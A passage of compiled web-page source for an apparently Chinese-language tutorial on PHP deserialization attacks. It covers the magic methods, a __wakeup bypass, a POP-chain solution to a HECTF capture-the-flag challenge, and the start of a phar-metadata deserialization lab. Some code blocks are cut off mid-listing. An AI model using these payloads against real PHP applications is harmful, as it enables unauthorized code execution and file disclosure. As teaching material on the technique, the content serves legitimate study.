sxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"public\uff1a\u6b63\u5e38\u64cd\u4f5c\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u539f\u578b\u5c31\u884c\u3002"}),"\n",(0,r.jsx)(n.li,{children:"protected\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00*%00\u3002"}),"\n",(0,r.jsx)(n.li,{children:"private\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00\u7c7b\u540d%00\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u5e8f\u5217\u5316\u6211\u4eec\u77e5\u9053\u4e86\u662f\u4e2a\u4ec0\u4e48\u683c\u5f0f\uff0c\u90a3\u4e48\u5982\u4f55\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6765\u89e6\u53d1\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"__wakeup",children:"__wakeup()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u5148\u68c0\u67e5\u7c7b\u4e2d\u662f\u5426\u5b58\u5728",(0,r.jsx)(n.code,{children:"__wakeup()"}),"\u5982\u679c\u5b58\u5728\uff0c\u5219\u6267\u884c\u3002\u4f46\u662f\u5982\u679c\u5bf9\u8c61\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u5927\u4e8e\u771f\u5b9e\u7684\u5c5e\u6027\u4e2a\u6570\u65f6\u5c31\u4f1a\u8df3\u8fc7",(0,r.jsx)(n.code,{children:"__wakeup()"}),"\u6267\u884c",(0,r.jsx)(n.code,{children:"__destruct()"}),"\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u5f71\u54cd\u7248\u672c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:"PHP5 < 5.6.\nPHP7 < 7.0.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'";\n\n echo highlight_file($this->name, true); \n } \n \n\n function __wakeup(){ \n echo "wakeup\u6267\u884c
";\n $this->name=\'1.php\'; \n } \n }\n\t$data = \'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}\';\n\tunserialize($data);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648351.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__sleep",children:"__sleep()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"__sleep()"}),"\u51fd\u6570\u521a\u597d\u4e0e",(0,r.jsx)(n.code,{children:"__waeup()"}),"\u76f8\u53cd\uff0c\u524d\u8005\u662f\u5728\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\u88ab\u8c03\u7528\uff0c\u540e\u8005\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u8c03\u7528\u3002\u90a3\u4e48\u8be5\u5982\u4f55\u5229\u7528\u5462\uff1f\u6211\u4eec\u770b\u770b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name=$name;\n }\n\t\t\n\t\tfunction __sleep(){\n\t\t\techo "sleep()\u6267\u884c
";\n\t\t\techo highlight_file($this->name, true);\n\t\t}\n\t\t\n\t\tfunction __destruct(){\n\t\t\techo "over
";\n\t\t}\n\t\t\n function __wakeup(){ \n echo "wakeup\u6267\u884c
"; \n } \n }\n\t$a = new Ameng("2.php");\n\t$b = serialize($a);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648352.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__destruct",children:"__destruct()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5176\u5b9e\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\u5df2\u7ecf\u663e\u793a\u4e86\uff0c\u5c31\u662f\u5728\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff0c\u5018\u82e5\u8fd9\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u4e4b\u7c7b\u7684\u529f\u80fd\uff0c\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\u6765\u8fdb\u884c\u6f0f\u6d1e\u7684\u5229\u7528\uff0c\u5f97\u5230\u81ea\u5df1\u60f3\u8981\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"__construct",children:"__construct()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5728",(0,r.jsx)(n.code,{children:"__sleep()"}),"\u4e5f\u662f\u4f53\u73b0\u4e86\u7684\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u5728\u4e00\u4e2a\u5bf9\u8c61\u88ab\u521b\u5efa\u65f6\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u6bd4\u5982\u6211\u5728",(0,r.jsx)(n.code,{children:"__sleep()"}),"\u4e2d\u7528\u8fd9\u4e2a\u51fd\u6570\u6765\u5bf9\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"__call",children:"__call()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u7528\u6765\u76d1\u89c6\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u7684\u5176\u4ed6\u65b9\u6cd5\u3002\u5f53\u4f60\u5c1d\u8bd5\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u7684\u6216\u8005\u88ab\u6743\u9650\u63a7\u5236\u7684\u65b9\u6cd5\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"__call"}),"\u5c31\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'"."call\u6267\u884c\u5931\u8d25";\n\t\t}\n\t\t\n\t\tpublic static function __callStatic($name,$args){\n\t\t\techo "
"."callStatic\u6267\u884c\u5931\u8d25";\n\t\t}\n }\n\t$a = new Ameng;\n\t$a->b();\n\tAmeng::b();\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648353.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__callstatic",children:"__callStatic()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u662f PHP5.3 \u589e\u52a0\u7684\u65b0\u65b9\u6cd5\u3002\u4e3b\u8981\u662f\u8c03\u7528\u4e0d\u53ef\u89c1\u7684\u9759\u6001\u65b9\u6cd5\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\u5177\u4f53\u4f7f\u7528\u5728\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u548c\u7ed3\u679c\u53ef\u89c1\u3002\u90a3\u4e48\u8fd9\u4e24\u4e2a\u51fd\u6570\u6709\u4ec0\u4e48\u503c\u5f97\u6211\u4eec\u5173\u6ce8\u7684\u5462\uff1f\u60f3\u4e00\u60f3\uff0c\u5018\u82e5\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u8c03\u7528\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u65b9\u6cd5\u65f6\u5c31\u53ef\u4ee5\u8c03\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u8fd9\u4e0d\u5c31\u8fbe\u5230\u6211\u4eec\u60f3\u8981\u7684\u76ee\u7684\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"__get",children:"__get()"}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u603b\u662f\u628a\u7c7b\u7684\u5c5e\u6027\u5b9a\u4e49\u4e3aprivate\u3002\u4f46\u6709\u65f6\u5019\u6211\u4eec\u5bf9\u5c5e\u6027\u7684\u8bfb\u53d6\u548c\u8d4b\u503c\u662f\u975e\u5e38\u9891\u7e41\uff0c\u8fd9\u4e2a\u65f6\u5019PHP\u5c31\u63d0\u4f9b\u4e86\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u548c\u8d4b\u503c\u7c7b\u4e2d\u7684\u5c5e\u6027\u3002"}),"\n",(0,r.jsx)(n.p,{children:"get\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u6210\u5458\u5c5e\u6027\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//__get()\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u5c5e\u6027\npublic function __get($name){\nreturn $this->$name;\n}\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-29",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$name\uff1a\u8981\u83b7\u53d6\u6210\u5458\u5c5e\u6027\u7684\u540d\u79f0\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"__set",children:"__set()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u65b9\u6cd5\u7528\u6765\u7ed9\u79c1\u6709\u6210\u5458\u5c5e\u6027\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//__set()\u65b9\u6cd5\u7528\u6765\u8bbe\u7f6e\u79c1\u6709\u5c5e\u6027\npublic function __set($name,$value){\n$this->$name = $value;\n}\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-30",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$name\uff1a\u8981\u8d4b\u503c\u7684\u5c5e\u6027\u540d\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$value\uff1a\u7ed9\u5c5e\u6027\u8d4b\u503c\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"__isset",children:"__isset()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u662f\u5f53\u6211\u4eec\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528",(0,r.jsx)(n.code,{children:"isset()"}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"empty()"}),"\u65f6\u8c03\u7528\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e4b\u524d\u6211\u4eec\u8981\u5148\u4e86\u89e3\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"isset()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u3002",(0,r.jsx)(n.code,{children:"isset()"}),"\u51fd\u6570\u68c0\u6d4b\u67d0\u4e2a\u53d8\u91cf\u662f\u5426\u88ab\u8bbe\u7f6e\u4e86\u3002\u6240\u4ee5\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u53bb\u68c0\u6d4b\u5bf9\u8c61\u91cc\u9762\u7684\u6210\u5458\u662f\u5426\u8bbe\u5b9a\uff0c\u90a3\u4e48\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsxs)(n.p,{children:["\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u516c\u6709\u6210\u5458\uff0c\u90a3\u6ca1\u4ec0\u4e48\u95ee\u9898\u3002\u5018\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u79c1\u6709\u6210\u5458\uff0c\u90a3\u8fd9\u4e2a\u51fd\u6570\u5c31\u4e0d\u884c\u4e86\uff0c\u4eba\u5bb6\u6839\u672c\u5c31\u4e0d\u5141\u8bb8\u4f60\u8bbf\u95ee\uff0c\u4f60\u548b\u80fd\u68c0\u6d4b\u4eba\u5bb6\u662f\u5426\u8bbe\u5b9a\u4e86\u5462\uff1f\u90a3\u6211\u4eec\u8be5\u600e\u4e48\u529e\uff1f\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u7c7b\u91cc\u9762\u52a0\u4e0a",(0,r.jsx)(n.code,{children:"__isset()"}),"\u65b9\u6cd5\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(n.code,{children:"isset()"}),"\u5728\u5bf9\u8c61\u5916\u9762\u8bbf\u95ee\u5bf9\u8c61\u91cc\u9762\u7684\u79c1\u6709\u6210\u5458\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __isset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528isset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\techo isset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648354.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__unset",children:"__unset()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u65b9\u6cd5\u57fa\u672c\u548c",(0,r.jsx)(n.code,{children:"__insset"}),"\u60c5\u51b5\u4e00\u81f4\uff0c\u90fd\u662f\u5728\u7c7b\u5916\u8bbf\u95ee\u7c7b\u5185\u79c1\u6709\u6210\u5458\u65f6\u8981\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u57fa\u672c\u8c03\u7528\u7684\u65b9\u6cd5\u548c\u4e0a\u9762\u4e00\u81f4\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __unset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528unset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\tunset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648355.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__tostring",children:"__toString()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e00\u4e2a\u5bf9\u8c61\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u6765\u4f7f\u7528\u65f6\uff0c\u5c31\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4e14\u5728\u8be5\u65b9\u6cd5\u4e2d\uff0c\u53ef\u4ee5\u8fd4\u56de\u4e00\u5b9a\u7684\u5b57\u7b26\u4e32\uff0c\u6765\u8868\u793a\u8be5\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u4e4b\u540e\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u8bbf\u95ee\u7c7b\u7684\u5c5e\u6027\u7684\u65f6\u5019\u90fd\u662f",(0,r.jsx)(n.code,{children:"$\u5b9e\u4f8b\u5316\u540d\u79f0->\u5c5e\u6027\u540d"}),"\u8fd9\u6837\u7684\u683c\u5f0f\u53bb\u8bbf\u95ee\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5echo\u53bb\u8f93\u51fa\u5bf9\u8c61\uff0c\u53ef\u662f\u5f53\u6211\u4eec\u4f7f\u7528",(0,r.jsx)(n.code,{children:"__tostring()"}),"\u5c31\u53ef\u4ee5\u76f4\u63a5\u7528echo\u6765\u8f93\u51fa\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __toString(){\n return $this->name . $this->age . '\u5c81\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\techo $ameng;\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-text",children:"Ameng3\u5c81\u4e86\n"})}),"\n",(0,r.jsx)(n.h4,{id:"__invoke",children:"__invoke()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u5c1d\u8bd5\u4ee5\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c",(0,r.jsx)(n.code,{children:"__invoke()"}),"\u65b9\u6cd5\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u7248\u672c\u8981\u6c42\uff1a"}),"\n",(0,r.jsx)(n.p,{children:"PHP > 5.3.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __invoke(){\n echo '\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\t$ameng();\n?>\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\n"})}),"\n",(0,r.jsx)(n.h4,{id:"pop\u94fe\u7684\u6784\u9020",children:"pop\u94fe\u7684\u6784\u9020"}),"\n",(0,r.jsx)(n.h4,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,r.jsxs)(n.ol,{children:["\n",(0,r.jsx)(n.li,{children:"\u5bfb\u627e\u4f4d\u70b9\uff08unserialize\u51fd\u6570\u2014>\u53d8\u91cf\u53ef\u63a7\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u6b63\u5411\u6784\u9020\uff08\u5404\u79cd\u65b9\u6cd5\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u53cd\u5411\u63a8\u7406\uff08\u4ece\u8981\u5b8c\u6210\u7684\u76ee\u7684\u51fa\u53d1\uff0c\u53cd\u5411\u63a8\u7406\uff0c\u6700\u540e\u627e\u5230\u6700\u5148\u88ab\u8c03\u7528\u7684\u4f4d\u7f6e\u5904\uff09"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50(HECTF)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'token_flag = $this->token = md5(rand(1,10000));\n $this->token =&$this->token_flag;\n }\n public function __invoke(){\n $this->token_flag = md5(rand(1,10000));\n \n if($this->token === $this->token_flag)\n {\n echo "flag{**********}";\n }\n }\n}\nclass Show\n{\n public $source;\n public $str;\n public function __construct()\n {\n echo $this->source."
";\n }\n\n public function __toString()\n {\n $this->str[\'str\']->source;\n }\n public function __wakeup()\n {\n if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) {\n echo "hacker~";\n $this->source = "index.php";\n }\n }\n}\n\nclass Test\n{\n public $params;\n public function __construct()\n {\n $this->params = array();\n }\n\n public function __get($key)\n {\n $func = $this->params;\n return $func();\n }\n}\nif(isset($_GET[\'chal\']))\n{\n $chal = unserialize($_GET[\'chal\']);\n}\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u8981\u62ff\u5230flag\uff0c\u5728",(0,r.jsx)(n.code,{children:"__invoke()"}),"\u51fd\u6570\uff0c\u5f53\u5bf9\u8c61\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u8be5\u51fd\u6570\u3002\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u7528\u51fd\u6570\u6765\u8c03\u7528\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u9996\u5148\u627e\u5230\u8d77\u70b9\uff0c\u5c31\u662funserialize\u51fd\u6570\u7684\u53d8\u91cf\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u4f46\u662f\u80af\u5b9a\u662f\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u534f\u8bae\uff0c\u90a3\u4e9b\u534f\u8bae\u6211\u5728\u4e0a\u9762\u4e5f\u7b80\u5355\u4ecb\u7ecd\u8fc7\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u51fd\u6570\u7684\u8fc7\u7a0b\u641c\u7d22\uff0c\u6211\u4eec\u80fd\u591f\u770b\u5230preg_match\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f1a\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u5728\u7c7bTest\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed9$func\u8d4b\u503c\u7ed9Read\u5bf9\u8c61\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u5982\u4e0bpop\u94fe"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"token = &$read->token_flag;\n $test->params = $read;\n $show->str['str'] = $test;\n $show->source = $show;\n echo serialize($show);\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u7ed9\u4e2a\u56fe\u603b\u7ed3\u4e00\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648356.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",children:"phar\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,r.jsx)(n.h5,{id:"\u7b80\u4ecb-1",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.p,{children:'PHAR\uff08"PHP archive"\uff09\u662fPHP\u91cc\u7c7b\u4f3cJAR\u7684\u4e00\u79cd\u6253\u5305\u6587\u4ef6\uff0c\u5728PHP > 5.3\u7248\u672c\u4e2d\u9ed8\u8ba4\u5f00\u542f\u3002\u5176\u5b9e\u5c31\u662f\u7528\u6765\u6253\u5305\u7a0b\u5e8f\u7684\u3002'}),"\n",(0,r.jsx)(n.h5,{id:"\u6587\u4ef6\u7ed3\u6784",children:"\u6587\u4ef6\u7ed3\u6784"}),"\n",(0,r.jsxs)(n.ol,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:["a stub\uff1a",(0,r.jsx)(n.code,{children:"xxx"}),"\u524d\u9762\u5185\u5bb9\u4e0d\u9650\uff0c\u540e\u9762\u5fc5\u987b\u4ee5",(0,r.jsx)(n.code,{children:"__HALT_COMPILER();?>"}),"\u7ed3\u5c3e\uff0c\u5426\u5219phar\u6269\u5c55\u65e0\u6cd5\u5c06\u8be5\u6587\u4ef6\u8bc6\u522b\u4e3aphar\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"\u5b98\u65b9\u624b\u518c"}),"\n",(0,r.jsx)(n.p,{children:"phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u4e0a\u8ff0\u653b\u51fb\u624b\u6cd5\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648357.png",alt:"img"})}),"\n",(0,r.jsx)(n.h5,{id:"\u5b9e\u9a8c",children:"\u5b9e\u9a8c"}),"\n",(0,r.jsxs)(n.p,{children:["\u524d\u63d0\uff1a\u5c06",(0,r.jsx)(n.code,{children:"php.ini"}),"\u4e2d\u7684",(0,r.jsx)(n.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,r.jsx)(n.code,{children:"off"}),"\uff0c\u4e0d\u7136\u65e0\u6cd5\u751f\u6210phar\u6587\u4ef6\u3002"]}),"\n",(0,r.jsx)(n.h6,{id:"pharphp",children:"phar.php\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'startBuffering();\n $phar->setStub(""); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> data=\'Hello I am Ameng\';\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u6211\u4eec\u8bbf\u95ee\u4e4b\u540e\uff0c\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648358.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u7136\u540e\u67e5\u770b\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230meta-data\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u3002\u65e2\u7136\u5b58\u5728\u5e8f\u5217\u5316\u7684\u6570\u636e\uff0c\u90a3\u80af\u5b9a\u6709\u5e8f\u5217\u5316\u7684\u9006\u5411\u64cd\u4f5c\u53cd\u5e8f\u5217\u5316\u3002\u90a3\u4e48\u8fd9\u91cc\u5728PHP\u4e2d\u5b58\u5728\u5f88\u591a\u901a\u8fc7",(0,r.jsx)(n.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\u89e3\u6790phar\u6587\u4ef6\u65f6\uff0c\u4f1a\u5c06meta-data\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u53ef\u7528\u51fd\u6570\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx